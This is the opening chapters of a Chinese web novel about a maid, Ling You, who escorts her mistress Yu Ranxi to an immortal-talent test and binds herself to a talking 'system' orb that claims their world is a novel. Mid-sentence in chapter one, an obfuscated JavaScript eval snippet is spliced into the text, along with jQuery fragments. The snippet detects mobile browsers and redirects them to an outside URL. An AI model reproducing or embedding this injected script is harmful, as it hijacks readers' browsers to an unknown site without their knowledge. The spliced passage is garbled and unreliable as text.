《不就是稍微努力攻略一下吗?》 1. 会场捡到个球 人界。 玉城,寻仙台。 天赋测试会场。 面前等待测试队伍大排长龙,人群涌动。 我站在前面护着我家小姐,我们身后站着我娘。 我家小姐是玉城城主独女,名为玉燃兮,今年十六,我与小姐同岁,从小陪伴小姐长大。 人界由人皇掌管全部领土,除去默认划分给修仙者门派的地盘,如今人皇治下分为八十四城,城下分为几十个郡,郡再下分为几十个县。城主直接治理城主府所在的主城,郡县由各自的官员治理。 在人界,修士与普通人共存,每个城拥有一定数量兵力,前几大城的城主有极高实权,地位堪比亲王。 玉城是人界京城之下第二大城,本就设有寻仙台,附近城池的人要赶来这里参加测试。 寻仙台为什么叫寻仙而非求仙。 是因为很多代前人皇下令,说人族求仙之风不能助长,若人人求仙问道,谁来耕种纺织? 所以想成仙只能寻,不能“求”。 但各个门派入学后,入学者的确被称为学徒,出师后才能叫做门生。寻仙问道,是换个地方去上学。 只有进入内门,才可以拜师,成为某个老师的徒儿,否则……大概是玩票性质。 如果小姐乐意,作为城主千金,没有人能排在她前面,但她什么都没说,默默排入人群。 负责检察的是同一波仙人,从京城开始向下面的城走走停停,一城一天,过时不候。 原本我们不会在这。 三天前,府里来了位不修边幅的散仙,是女仙,城主为避嫌,和她隔着屏风说话。我们其实不大清楚她到底是不是女仙……只是隔着屏风看见轮廓影子,但称她女仙并未遭否认,想来是了。 女仙说她之前路过城中,遥遥一眼看见我家小姐根骨好,要是去大门派当学徒,将来必定能成材,脱离肉身凡胎飞升神界, 又说三日后今天正好是十年一次的天赋测试,建议我家小姐来试试看。 小姐芳年,正被那些世家缠得烦心,但身为以后的城主之妻,她不得不交际,不得不去那些宴会露面。 玉府就小姐一个孩子,小姐从小自在惯了,我知道她学不来那些世家做作样子。 那些人总背地里说小姐娇纵,我只觉得小姐可爱,那些人一定是嫉妒。 听仙人这么说,小姐提出要来这会场,城主不拦,嘱咐我陪她同去,娘也要跟着。 我完全能理解小姐为什么想来。 即便眼前队伍排得看不见尽头,即便我们已经在这排了两个时辰。 但小姐看起来自在畅快,挤在人群中也面带微笑。 “小姐,您可还好,今日出门带了吃食……” 小姐带着笑意,拍拍我手臂,“灵佑,我并不诚心寻仙,是日子压抑,想摆脱出来透透气。” 从早上到现在过去两个时辰,她也身体端正站得笔直,看得出是真的心情愉悦。再稍微转头看我娘。 我娘在人群中屹立不倒,高挑身姿像个女侠,脸倒一直是黑的……十几年来,我就没见她脸上白过。 十六年前小姐刚出生,夫人不幸去世。娘说她带着三个月大的我,被我那个嗜赌如命的畜牲爹卖到人牙子手里,当时玉府正缺奶娘, 她用一把烂泥草灰糊了被畜牲打破的脸,扮作最丑的奶水婆子,声泪俱下打动玉府招人管事,成功当上小姐的奶娘,我们一起成了玉府的家奴,这才避免更糟糕的命运。那之后涂脸就成了她的习惯。 等到我再长几岁能记事,也给小姐当女仆,再后来小姐大了,有了自己的脾性,允许娘带着我赎身,我们从家奴变成仆人。 玉府再没有过女主人,也没有多少女仆,小姐不喜欢走到哪里身边围着一群人,留下几个顺心的,除此之外一直是娘和我贴身照顾小姐。 我和小姐关系极好。 小姐睡里间我睡外间,再隔壁是我娘。 有时候小姐烦心睡不好我会去里间和她说话,小姐的幸福就是我的幸福,以后小姐嫁人还需要我,我也会一直留在玉府做差事。 小姐不会远嫁。 原本是这样。 是的,这一天,我们所有人的命运,原本是这样。 我们等了又等,眼看队伍快排到,我又开始担心起来。 估计那仙人就是来混点酒喝,随便拣几句好听的说。 当时城主为表对上仙敬意,特意命人取来辞世之酒请仙人品尝。 当然,辞世之酒并不是喝了就会死,是一种由辞世酒庄生产的美酒,号称能让喝下之人看见足以与世长辞的美梦,是人界达官显贵中送礼硬通货,一瓶可抵一套主城宅院。 仙人喝了酒腾云驾雾离去。她的确是仙。只有仙人才有资格用飞行法术,否则会叫雷劈。 我知道小姐心不诚,哪怕真的测试出来结果…… 她也绝对不会去寻什么仙问什么道。城主不拦着小姐来,也是因为知道小姐不会离开玉城。 小姐她讨厌和世家凑在一块讨论人生理想,但这不代表她拒绝承担责任,她只是……更喜欢多一些时间用来骑马射箭,丰富学识,而不是和一大群人凑在一起叽里呱啦讲以后如何相夫教子。 因为她知道这是以后她一定会去做,一定逃不开的事。 可是自从小姐年满十五,一天几场宴会也太过,她不得不把大把时间耗费在这上,有时候还有些随世家女入场的登徒子男眷借机想要毛手毛脚。 都是女眷在的地方侍卫不便进来,这时候我就会为了小姐打跑那些咸猪手,不让一只有机会碰到小姐衣袖。 我是个女孩子。 我从小和小姐一起练骑射,小姐喜欢,玉府无人拦她,以后哪怕小姐想要结婚,也一定招个上门赘婿。 我自然比小姐锻炼得更多,手臂有肌肉,小腹有腹肌,比一般的女孩子有力气,打人很疼。 真要打起来,男眷迫于人多眼杂,不敢对我们还手,但想来被打了也不会长多少记性。 就比如昨天,一人差点碰到小姐。口中说着邀请小姐春风一度,一看就是喝了酒。 那些世家女子多半是因为男眷邀请小姐不得心怀芥蒂, 看不惯小姐奔放自由便说她骄横来打压她,说她惯得女仆巴掌扇人没教养,纯粹是小姐脾性好,要是回府里说了,这些世家出来的各个都要挨骂,得登门给小姐赔罪。 昨天晚上小姐让我和她一起躺在榻上,在烛光下问我: ‘她们一人一张嘴,来道歉我也得听得耳朵起茧子,而且道歉并不会对局面有什么帮助,这些流言就让它传罢,我心疼灵佑的手,打人痛不痛?’ 小姐这么望着我说话的时候,可温柔。眼睛忽闪忽闪,睫毛也在动,密密的像小扇子一样, 我只会跟她说:‘灵佑才不痛呢,对小姐毛手毛脚就该打。’ 小姐靠在我身旁,贴近我耳语,‘你是我的女仆,在外你的一切作为都算在我头上,真有错也是我纵了你,流言蜚语指得不是你,而是我,你不需要放在心上。实际上她们连你名字都不知,就算想做个纸扎人念你也得先知道你名字才行,我不会教她们得知你名姓去。’ 因为她弄得我耳边很痒,我转过头和她对视, 我说:‘痒呢,小姐。’ 她戳我腰,‘怎么会,我记得你不怕痒的。’ ‘但在耳边就是痒啊,’我盯着她的眼睛。 她眼睛里有一豆烛光,明明灭灭的,好看。 ‘不然小姐转过来,我也这样试试?’我是开玩笑。 小姐真的把脸转过去,闭着眼,耳朵对我。 我捏了她的耳尖……那里,有一颗很红的小痣。 也可能烛火在床帐外不真切,是我看错了,痣怎么会是艳艳的红…… 但我绝对看见什么东西是红色。 还不及我细想,小姐被我捏得痒了,从床榻一跃而起,来戳我的腰,我被戳得往旁边闪,被褥也跟着挪动。 小姐好像一下没稳住,膝盖分开支在我身侧,似坐似跪着俯视我。 她没栽倒,我身上没有重量,栽倒我也会扶她,再者,小姐根本不重,摔我身上也不会把我怎样,我会好好抱住她,不让她受伤。 小姐一头长发遮住我们之间的光,她看我,我也看她。 我还在想到底是什么红艳艳的,小姐忽然重新躺下来,在我身边闷闷地说:‘灵佑,等我成家,你就走吧,带着褚阿母一起,你们去城中买块地住着。以后我要成家,也会有小孩,你留下不方便,想来……就是这几年的事,你还年轻,褚阿母不过三十几岁,我不能耽误你们一辈子。’ 我娘比我大十八岁,可能不太看得出来……说实话我不知道娘不涂脸长什么样子,娘的脸实在涂得很自然,又黄又黑还有几颗麻子,但不是丑得吓人,就是……非常普通,干活久了经历风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502581|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜的女仆,大多都是这样。 我不知道小姐为什么这么说。 我……我觉得就算陪小姐一辈子也没关系,我不必像她一样有家庭,娘经历过那些,也从不对我提这事,她说只要我们两个过得好,有没有后代都一样,生了也要给人做奴仆,不如我们二人轻松自在。 ‘……小姐。您是因为奴婢不愿成为陪嫁通房,才不愿……’ ‘不许胡说。’小姐轻轻捂住我的嘴,‘我真结了婚,也不会强迫任何一个女子为我分担这些,也不该有人一辈子陪我在城主府孤独终老。’ ‘小姐。’我郑重地说,‘以您的眼力,您一定会挑选一个待您好的人,那些人渣您看不上,整座城以后还是由您管理,招赘婿不过是需要这个名头有人,您定然不会把城主教给您的知识与权力,如何管理一座城,拱手让给旁人。’ ‘是啊。’小姐还是闷闷,‘赘婿来了,也得跟我姓玉,只有我找人,没有他通房的道理,所以你其实可以留下……’ 可是话没说完,小姐自己摇头:‘不行不行!灵佑你还是得离开!’ 再然后,小姐把头一扭,背对着我,打算睡了。 我知道小姐是因为要出门紧张,轻抚她后背:‘小姐别恼,至少现在,我一直陪着您的。’ ‘嗯。’ 小姐的耳尖闪烁一点微光,我又看一眼她的小痣,起来吹灭了灯,继续躺回她身边。 后半夜我醒过一次, 小姐她似乎在说梦话。呓语朦胧,加上月光落了一半在睡里侧的她脸上,我看不清她是不是嘴唇在动。 我支着身子听一小会。 ‘结了婚……我就……不能配……你了……’ 到底也没确定自己听见的是哪个字,小姐说不能配我,或者这个字眼是重音,她说的是不能陪我, 梦话是不能当真的。 我才想起来,红艳艳的……好像是小姐的耳尖。 小姐这么可爱,我喜欢她。 不,不是那种要娶她为妻的喜爱,是喜欢,欣赏。 我喜欢女孩子。 我最爱我娘。 时间回到现在,看见小姐这副微笑样子,比起昨夜的迷茫,她今天心情真是好极了,我绝对不会拿这种话问她,在拥挤人群中把她牢牢护在身后。 马上,还有十几个人,就要到我们了。 随着队伍向前挪动,我跟着一小步一小步往前蹭。 我向前面测试台看去,就是,测试者把手放在水晶上面,听说水晶会投射出不同颜色的光,看亮度判定体内能量多少,那种颜色鲜艳纯正,光芒大盛的是难得一见好苗子,不过大部分人……手放上去根本不亮。 那块水晶我就没见它真正亮过。 一路排队也只听见周围的人说曾经如何如何, 比如几月前有个名叫风云的少女,容貌是世间难得一见的美,水晶蓝白光大盛,差点炸开,一时间那些在神界有仙门总部的门派像苍蝇一样把少女围了个水泄不通,各家为了施展看家本领大打出手,这年头门派招人如饿狼扑羊……最后少女跟着一个叫随心宗的小门派走了。 为什么呢……很多人都在揣测原因,终于得出结论。 那个随心宗的招人大师姐好看。沉鱼落雁闭月羞花,沉沉静静的,在一众饿狼扑羊中笑一笑,少女就跟着走了。 “……” 我一路上听了很多这样的八卦,上面这是最近的一个,再往前数还有几十个,时间跨度几百上千年不等。 忍不住嘀咕:“上千年才出这几十个人天赋出众到一眼看出能飞升成仙……寻仙问道真是……”痴人说梦……梦! 怎么回事?!就在刚刚,我身子一歪,脚下明显硌到了东西,但是不太大,像个果核,被踩一脚后崩飞,竟然直接弹到我手里,打得手心生疼。 在这排队闲扯吃东西嗑瓜子都有,谁把果核扔地上了?! 我有点生气还好笑,没着急扔,拿到眼前想看到底是个什么东西。 ……我手里的,是个……和果核, 完全,完全扯不上关系的, 小圆球。 可能是我在看它,它很明显有自己的意志,身子扭来扭去动动,硬是想要从我手中飞出去, 我抓紧了,不让它飞。 然后,小圆球上, “吧嗒”一下, 长出两只简笔画似的黑豆圆眼睛。 2. 你娘才二十四 这个世界上,是有鬼的。 是的,没错,我都陪着我家小姐在这里寻仙问道,它怎么可能没有鬼。 我怎么可能不接受它有鬼, 虽然没见过。 这个世界分为五界,神界在上,由世界选出的神君统治。人界,妖界,魔界居中,由各自的势力统治。 鬼界垫底,听说神界之下所有死了的生灵都会去往鬼界,可以做鬼继续修行,或者投胎转世,但是鬼修好像没办法长时间离开鬼界,而且一旦离开就必须得是强大到能够幻化出躯壳的鬼修,否则没有躯壳保护灵魂离了鬼界就会消散。 就是说,鬼啊,离了鬼界,没办法直接用魂魄作祟。除了修行的是鬼的功法,和任何仙,妖,魔,人,都差不多。 而且人界也有属于自己的,坐镇界门的修士,不让没有拜访理由的其余四界人员进入。 更何况这里是天赋测试会场,哪怕全人界都闹鬼,闹妖魔,这里有众多虎视眈眈等着抢好苗子的门派宗师,也有散仙坐镇,这些鬼怪妖魔……也进不来才对。 那我手中这个对我眨巴眼睛的东西是什么? 没准下一秒我就会被哪个神仙指认,说我身上有鬼气妖魔气息,是界外来的奸细卧底? 我没惊动,小球握在手里,低头四下看看。 周围依旧喧哗,什么声音都有。 没人说我是奸细卧底,甚至没人发觉我有异样,连身后的小姐和娘都对我手里东西毫无反应。 敲敲打打。 怎么,小球外壳有点松。 难道它是个盒子,里面还有别的? 这种邪门东西以后怕是很难遇见,反正现在没人注意,要是不搞明白我今天坐立难安。 滋——滋滋—— 脑海中传来声音。 【临时通讯已接通】 【我的小祖宗你快放手,放手!本统快被你拆零碎了!】 谁跟我说话,声音听着不像人,怪里怪气。 源自…… 奇怪,青天白日,我脑袋里怎么有声音。 我瞪眼前这个小圆球:「你说什么?」 没错,说话的就是它。 而且,我现在和它说话也不是用嘴,大概是在用脑海。 就算这样,我也不可能是这东西的祖宗,谁知道它是什么,乱认后代可是要折寿的。 「你不能这么叫我。」我把小圆球捏紧了一点。 它改口:【女仙!女仙!】 「我是人族。你在我脑海里的话,快出来,我没空耽搁。」 【这不是脑海,是你的识海,你们不是修仙的吗?修仙的都有这块地方。】 ……? 让我理理现在情况。 哦。 就在天赋测试会场,我踩到一块小圆球,拿起来一看,这东西会说话。 一般来说会觉得是自己疯了,我何必那么想? 圆球会说话,有问题的肯定是它,我拿出做女仆多年的功力想把它拆了看看。 拆个球,谁没砸过坚果? 我跟它暗中使劲,暂时谁也赢不过谁, 本来没什么,小圆球转了半个圈,看到我,再看到我身旁的小姐,顶多是思考片刻,它一看到我俩身后的我娘,竟然吓得一哆嗦,我奇怪:「你抖什么?」 【啊啊啊啊啊大反派!人面兽心!蛇蝎毒妇!给我传哪来了主脑救我呜呜呜救命!】尖叫直往脑子里钻,小球拼命想要挣脱。 哈? 我娘招惹谁了!本来它不说这句话,我可能真的一松手让它自己滚远点,它怎么能平白无故骂我娘是恶毒妇人?? 「别叫。闭嘴。你既然会说话,先告诉我你是什么东西。」 小球跑不掉,抖啊抖,扭啊扭。 【……我是292系统。宿主送外号摆烂统。你就叫我系统吧。本来不想出这个活,没想到遇上主脑审查工作……主脑说我平时净摆烂,系统的事能叫摆烂嘛!主脑甩了我一串世界坐标,把我传这儿来了。等会,我这是……在哪啊啊啊……】 这回不是哀嚎尖叫,纯粹是无力反抗的哼哼。 ……看来,我和这个系统之间,是哪个有点问题。 那肯定不是我。 「你再说清楚点,我听不懂。」 【唉……就……嗯……】 【你在二次元世界。你的世界之外有三次元世界。我来自三次元世界的主脑,可以把我看做主脑的孩子,我们为主脑工作,进入二次元世界收割能量。这些二次元世界一般是小说之类的,就是故事中的世界,一些世界聚集足够多思绪能量后会跳出虚构走向真实,诞生出一套自己的运行法则,其中有主角,重要配角,普通配角,反派,炮灰配角。主角和反派都是气运加身的存在,能量不要钱似的往身体里钻,但是反派出于身份,最后肯定是要死的,所以系统的任务就是从配角中寻找短命鬼宿主,为宿主们改写命运让其活得更长,好接近主角收割能量供给主脑,这是合作双赢,明白了吗?】 我确实懂了。 「我的世界是一本书,你说我娘不得好死。」 【……你到底有没有在听我说话。我是系统,在找宿主。你现在看见我是有形状态,那估计是刚才看中了一个,没签订契约成功,这种事会让统不太愉快,我肯定是清理缓存忘记了……】 「我在听。照你这么说,这个世界就不会让我娘活着了?因为她是反派?」 【……也不一定。有时候同一个世界,也会有不同的故事,世界是书,但书中会有许许多多个故事,每段故事都有各自对应的主角。大反派一般是妨碍了所有主角,和主角还有世界一起对着干的。如果你娘能够及时放弃某些行为,不妨碍主角们和世界双向奔赴,那就不会死。】 「照你这么说,有可能某些故事中的主角,在另一个故事里是反派。」 【不太可能。世界运转需要能量,世间每个生灵都在活着时无形中吸收能量,能量放在体内经过提纯净化,等到死了再被世界吸收这些纯净的能量,保证自身持续运转。所以为了得到能量,所有主角会与世界统一战线,她们做的事就是为了帮助世界获得更多能量。】 我忽然想到一个问题。 真好笑,听它这么说,仿佛,杀更多人是对世界有所助益的事,那么,魔头可能是主角,阻止杀戮的人也可能被定义为反派。 我:「那我家小姐呢?」 系统答得飞快:【是个炮灰配角。主角……女主前进路上排号前几给她使绊子早早就被她同伴清除下线的那种。】 真是无理,小姐怎么可能年纪轻轻就死掉。 「那两人总得有个交集吧,我家小姐是总被人说蛮横娇纵,那是她们不懂小姐的好,总不能小姐对路边阿猫阿狗都发难,那不是娇纵,那是发癫。我家小姐可不那样。」 【就,沾到同一个男的咯,就是眼下这情况,哎,等你前面这几个人排完马上就要发生了,这是当前阶段剧情,即将发生的事说出来没关系。】 小姐好像是有点奇怪。我还不知道她哪里不对劲。不过我不认为她会忽然死心塌地看上哪个男的。 「……这个问题我们等会再说。你继续,说说我娘的事。」 系统一下子炸了,从半死不活变得激昂:【啊啊啊天地良心那是以后的事,没发生呢我不能乱说,你不是我的宿主,我对外人泄露天机是要被主脑惩罚的,啊啊啊啊啊宿主!宿主你去哪啦救救你的统!!】 我用力晃这颗球:「别嚷嚷。你叫破喉咙也没人看见你。要不是你硌了我的脚,我还懒得搭理你。我想知道我娘的事,怎么你才肯说,是不是要我成为你口中的宿主?」 系统,小圆球上长出来的两只圆溜溜眼睛,黑豆大的瞳仁乱转,可能是被我晃晕了,晕晕乎乎: 【哎!哎……这个吧。不知道怎么……我没激活宿主成功,没有宿主……得再找一个……】 我继续晃:「那你找谁不是找,现在谁也看不见你,只有我可以,你找我不就行了?」 系统:【……好像……好像也是……是吧。是这么个理。】 「快决定。」 系统一激灵:【是!就是你了!我的宿主!】 成了。 我微笑:「你哪只眼睛见我说要当你宿主?既然你有求于我,总得先交点好处,不然我连你嘴都看不见,只听见你在我脑中叭叭,谁知道你说的是不是不平等条款?把你要和我签订的东西拿出来给我看。」 系统稍微想了想:【怎么……总觉得……哪不对?】 「快点,过这村没这店,等排到我家小姐我可就走了。」 下一瞬,脑海中出现一串亮晶晶大字: ☆与宿主签约基础条款三项原则☆ 1.从主角身上所得能量一九分,宿主一系统九 2.系统不完成收割能量指标,在主角尚在情况下,即便宿主死亡也不得返回,可以重新绑定宿主 3.主脑审查时期,任务随机乱发,292系统本次为:温柔女主不得黑化系统 ☆隐藏任务:女主不黑化达成涅槃重生,奖励翻倍☆ 这绝对是很不得了的东西,隐藏任务都出来了。 「我这个人很公平,能量你四我六平均分。」 系统微怒:【四六还叫平均?】 「你就一张嘴,我跑断两条腿,你办事还是我办事?」 【……那,那也不平均啊。】 「五五分。」 【这就对了……五五分说出去不丢统的脸。嗨……好像我也没什么脸可再丢的了,哈哈……从前工作几十载,不知宿主是同行……两个统挑中同一个宿主,激活瞬间挤飞了原宿主精神体,都以为对方是宿主,和同行拉扯几十年,闹好大笑话……反正我摆烂嘛。没关系的。】 我忽略那些听不懂的话,挑重点继续问: 「第二条,什么叫主角尚在宿主死亡?」 【就是宿主时运不济,剧情杀下线,主角这时候往往活好好的,那统也没办法,只能换宿主了。】 女主……她会好好活着。 「我愿和女主共存亡,我靠近她你也有办法收割你要的能量,有没有办法把我和她在灵魂上绑一块?」 系统大惊:【以后女主可是天下至尊,封神的那种,你在她灵魂动手脚,不要命啦!?】 「那你告诉我,女主现在呢?」 系统:【……就,是个普通人啊,应该也在这附近,和你们一样等着测试天赋属性。】 那不就结了。我娘不能因为一句身为反派白白送死,我家小姐也不能随便看上哪个坏东西。如果她们从世界手中抢来的掌控命运是引导她们向死,那不如换成我来操控,我来守护她们,让她们好好活着。 「就是说女主至少在短期内学不会那种窥探自己灵魂的功法,那就行,按照你的说法,我家小姐一出事,我日子也不会太好过,搞不好就提前死了,听你这语气肯定有办法做到,以后的事到那天再说,先把眼前活过去。」 系统半死不活:【……行啦,反正是你说的,大不了以后事发了我换个宿主。】 「快做。」 系统真的做了什么,我感觉到灵魂中……就像一泉池水忽然打通了洞,连接到一片更宽广……更温暖的池水中。 有被包容,扶持的感觉。 一声提示在脑海中响起。 不是系统那种死水般的语气,是更加冰冷,不夹带任何情绪的提示音。 【安装成功,你已激活1000001号宿主】 ……挺多的。数字我会查,我是一百万零一。 怪不得系统这么有气无力,同样的事做一百万次,是人的话早就去死了。 【契约在女主不主动杀你之前持续生效,女主死你才会死,因为这本身不平等,我看你挺讲究平等的,这样好了,女主嘛,成神之路肯定不会一帆风顺,会受不少磋磨,原本她受罪的时候你肯定也要感同身受的,现在我给你调整,你最多有一点女主在受难的危机意识,不会和她一样疼。】 这东西还怪好的。好的地方要夸。 我:「贴心。谢谢你,我很怕疼的。」 【嗯哼,不用谢啦。最后,你要去女主身边,引导她不黑化,重新走完她的人生之路,站上世界巅峰。不过……也有特例,这个我们以后再说。你要知道,当世界成为真实之后,小说内容就只是一个参考了,世界会诞生出自己的运行规则,只要不偏离逻辑,并不一定要按照小说剧情来,凡是符合逻辑的事,世界不会出手干涉。】 「重新?」 【就 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我打断它:「要做任务什么都没问题,能不能做到全凭我的本事,但不是我说,是个人走错路死了都会心里有点数不能再往上踩,她都是女主了,难不成连常人该有的心智也不具备?」我可以引导一个心智平常的人,但引导一个十头牛拉不回来的倔驴,那……那就不能用寻常手段。见人说人话,见鬼得说鬼话。 系统有一瞬间沉默。很短暂。 【并不是。能成为主角,大多有难以达成的心愿,执念,遗憾。有时候人会为了哪怕仅仅一个微小的执念重蹈覆辙,只为了赌一点点成功可能,不是她重蹈覆辙,而是……】 “人的劣性根。”我轻声说。 我知道了。我那赌鬼畜牲爹也这样,听说卖完妻女后来死了。虽然不应该把一个好好女孩子和畜牲比,我的意思是我能懂。 “你说什么?”小姐听见了我这一声,头凑过来问。 “没事,小姐。我们前面还有三个人,就快排到了,得做好准备。” 我继续问系统:「什么是黑化?」 【就是一个人经历了很多无法和自己和解的事,整个人身心上发生变化,从不杀人的见人就杀,温和善良的变得咄咄逼人。】 我:「这不就是疯了?」 系统惊讶,然后提起点气势半死不活狡辩:【二次元的事,怎么能叫疯!你看黑化这个词多文雅,要是一本书里遍地疯子那还怎么上架!但是黑化可是一个萌属性!黑化是不会进疯人院的!】 行吧。不理解但我尊重。 要是有病的话,就该去帮她治。 是还没见过女主,但是我相信,经历了一次痛苦人生还能有勇气再次面对,那一定是个坚韧的女孩子。为了不让她性格大变,我会尽我所能引导她,如果我能把她从深渊拖回来,也会度过非常有体验感的人生。 不算白活。 「那你说的特殊情况是什么?」 【哦,就是,如果一些符合逻辑的事,比按照原作中走能让系统收割更多能量,那不按照原作也没关系。原作在现在的世界来说是废纸一张,你不用在意,你现在要在意的是一件事能否符合逻辑地运转,举个例子,就算我现在直接告诉你答案,然后你跑去告诉那些人你们会死,世界不知道系统的存在,它不知道你是如何获得答案,那么你就是那个不和谐因素,它会出手惩罚你,降下雷击什么的,你就会死。】 「……」那我想要告诉答案,得先去获得卜卦算命资格证,然后当个名正言顺的神棍才行。 「这是很重要的事吧,如果我不问,你不会告诉我,万一我真的做了蠢事,不就死了?」 【所以宿主您问了,恭喜宿主。避开一个即死选项。】 「……好。」 就这样,我成了素未谋面女主的灵魂绊脚石,不对, 是她的神仙教母。 娘曾经对我说过神仙教母是什么。 在人界还是女皇统治的年代。那时女子和男子一样当家。 有个高官家的女孩子,高官母亲去世,爹找了后娘,后娘带来两个继兄,一家子把女孩当成女仆使唤,不许她上学,不许她外出。 后来宫廷里举办宴会,女孩也想去但是没有礼服,这时她的神仙教母出现了,给她一身法术变出来的衣服。 女孩在宴会上认识了皇太女,两人相谈甚欢,子时一到法术变出来的衣服失效,女孩逃离宫廷落下了鞋子。皇太女一座城一座城地找,终于认出女孩,提拔她到身边当女官,再后来皇太女继位,女孩一路做到宰相,那一任王朝河清海晏,国泰民安。 ……我是没想那么厉害啦。因为。我只是那个故事中出现过一次的神仙教母。 我需要做的是隐居幕后,使尽浑身解数拉住女主不让她重蹈覆辙,然后救下我现在十分希望她们活下去的两个人。 「对了,关于我娘是怎么个情况,你挑能说的和我说说。」 【我给你报个目前能透露的个人信息,这个是正在发生的事实,做假不了。】 【姓名:褚银河】 【目前:人族】 【年龄:24岁】 【性别:女】 「嗯。」我说,「你报个我的。」 【姓名:褚灵佑】 【目前:人族】 【年龄:16岁】 【性别:女】 「那看来你报的没问题。」 系统好像又死了一点:【她现在身体年龄二十四岁。】 「是啊,她是我娘。」 【……你十六,她二十四?】 可能是我的刚正不阿感染了系统,它开始怀疑自己起来。 「二十四就不是我娘了,就能改变我和她共同生活十六年的事实吗?」 系统一瞬间反应过来它没错:【可是女子八岁生不出孩子!在你这个时代也是犯法!她根本就不可能是你亲娘你怎么就不懂……唔唔唔你转我做什么?】 我说:「她是我娘,我无条件信任她,如果这个世界上我连把我养大的人都不信,就更不可能信你这个没果核大还会说话的鬼东西。好了,马上就到我家小姐了。你说说接下来她会突然爱上什么人?」 【……其实我觉得你多少该问问你是怎么死的。但你好像从来没考虑过自己,算了……我先告诉你你想知道的吧。】 3. 该怎样折断她的翅膀 测试会场,面前排队剩余,一人。 系统对我表达上声色并茂,情绪上如死了一般,讲述小姐接下来会经历什么。 【快要轮到炮灰配角一号(你家小姐)时,她身边突然出现个男的……修正准确描述,该角色为重要配角一号,归类为男配,推开你们插队,在测试官面前大放厥词,说什么不鸣则已一鸣惊人,把测试水晶弄坏不说,还耽误接下来的测试,害所有人因他一起等明日新水晶送来。 你家小姐去找男配说话,好像是话不投机,与对方发生口角,被骂了一顿。 然后。 你家小姐说她找到此生真爱。不管不顾非要跟着男配进入门派寻仙问道,再然后一发不可收拾,无差别攻击男配身边异性,乱抢扫射到女主,被崇拜女主的迷妹(该角色未解锁)随手清除,你家小姐就此下线,掉落物[全家福项链]被女主拾取。】 ……啊? 系统说的,那真是……我家小姐? 那还不好办,前面正好还有一个人排队,看着是个女孩子,比我矮一头,衣着寻常。 我蹲下来一点,轻声问她, “这位姐姐,或是妹妹,” 女孩子回头看我。很秀气乖巧的一张脸,干干净净,不施脂粉,她有点不知所措,我继续往下说: “我……我有些内急,陪我家小姐排到这里实在走不开,能否请通融一二,让我们排在前面?”与此同时我把银钱塞进她手中,她明显一愣,看我, 或许是看人下菜碟,我的交换条件对于普通人家来说足够丰厚,够吃三个月, 女孩子轻声:“好呀……”声音空灵得像夜间风吹过树叶,站到我和小姐身后去了。 我们身前,是测试台,测试官对此类行为眼皮不抬一下,也可能根本就没睁开眼睛,看着像睡着了:“下一个——” 男配能插队,我就不能插队了? 我拉住小姐手腕,放在水晶上。 测试完一个人需要时间,男配还没来。 水晶投射出璀璨光芒,光在变化,定型,我们身后传来喧闹声,“哎!你这个人怎么插队???”“你知道我们排了多久吗!”“还有没有人管管了?!” 投射出的光呈现明亮橙色, “玉燃兮,火属性。能量等级,上佳。” 测试官一丝不苟记下信息。 “下一个。” 就在一只手斜刺里伸来,即将落在水晶上时,我抢先一步,把手放在水晶上。 水晶就那么点大,我放上去后绝无可能再放下哪怕一个手指尖,那只手差点触碰到我,正主好像也不大高兴碰到别人似的,接触前堪堪收了回去。 我盯着水晶,看它能投影出什么颜色。或者什么都没有。 水晶分外平静。我难免失望,但我接受这种结果……我只是个凡人,从一开始就是。既不是含着金汤匙出生的贵女,也不是从小吃尽人间苦的可怜儿,母亲庇佑着我,就算小时没有奶水喂给我,也是一勺一勺米糊喂着我长大,我不曾比别人短了手脚,健健康康活着,这样就很好。 是的, 很好。 水晶没有反应,测试官根本不会记名字,我正要把手从水晶上拿开, 电光火石间——场上扬起一阵狂风,天地变色,水晶投射出一片黑云,黑云迅速在测试台上空扩大,隐见雷光,闪电在云层中噼里啪啦乱响。 与此同时,脑海中一声吼: 【啊啊啊压不住了!宿主!你娘是反派!超大的反派,你是她养大的孩子,哪怕什么不做只要出现在世界眼中就是小反派!除非你手刃亲娘抱主角团大腿,横尸在地上为主角铺路天道……世界才会承认你脱离反派身份,否则你天生体内能量属性紊乱,修行必走邪门歪路的命!以后也是个叱咤风云的小魔头邪修,是主角团必经的精英级反派,给主角送装备刷经验来的,以后掉落物……哦,这个还不知道。】 系统这会忽然活了起来,说话语无伦次,是不是……这才是它开始工作后最初的性格,它肯定不是上岗第一天就摆烂,肯定有好好完成工作的时候。 我反问它: 「但是,现在我什么都没做,仅凭借属性紊乱也没人能当场治我有罪,就地杀了我,不是么?」 【哦,对哦。那倒是,就算做不成修士,你还是个普通人,回归普通生活就行了。没人会因为你体内能量属性乱糟糟就判你死刑,只要你不走邪修的路,你就是个不适合修行的普通人,杀你犯不上。】 系统话音刚落,测试官眉头都没皱一下,打了个响指,天上乌云立时烟消云散,银色太阳烈日当空。 “下一个——”声音古井无波响起。 我心有所感抬起头,在检测台后方,成片森林中,某棵树上, 黑衣人影孤身伫立树梢,风吹动衣衫波浪般起伏,那人立在树梢一动不动。 我回头,一只手越过小姐,抓住给我让位的女孩子,她和看起来一样轻盈,被我不怎么费力连拉带拽上前几步, 我抓着她的手,在另一只手离开水晶同时把她的手按了上去。 旁边虎视眈眈的男配再次没成功。 水晶投射出白光。 铮亮刺眼,就如同天上银色太阳。 古井无波的测试官猛然睁开眼睛, “治疗属性!上佳!你,你叫什么?” 测试官呢……仙人也是人,和人族打交道,面对有权有势的世家小孩,就算身为修士肯定也会提前记住人和名字,测试官不认识,说明女孩子出身普通人家。 一时间,测试台后方凭空出现许多仙人,伫立半空高高在上俯视女孩子,窃窃私语。 风吹得仙人衣衫翩翩飞舞,大部分是白衣, 女孩子局促,我看见她后背在抖,一阵强风就能把她吹趴下, 我两掌覆在她背后,“别怕,听说上一个被测试出来能量上佳的女孩子遭遇几百人哄抢,这些人得轮流给你表演,是你选她们,不是她们选你。” 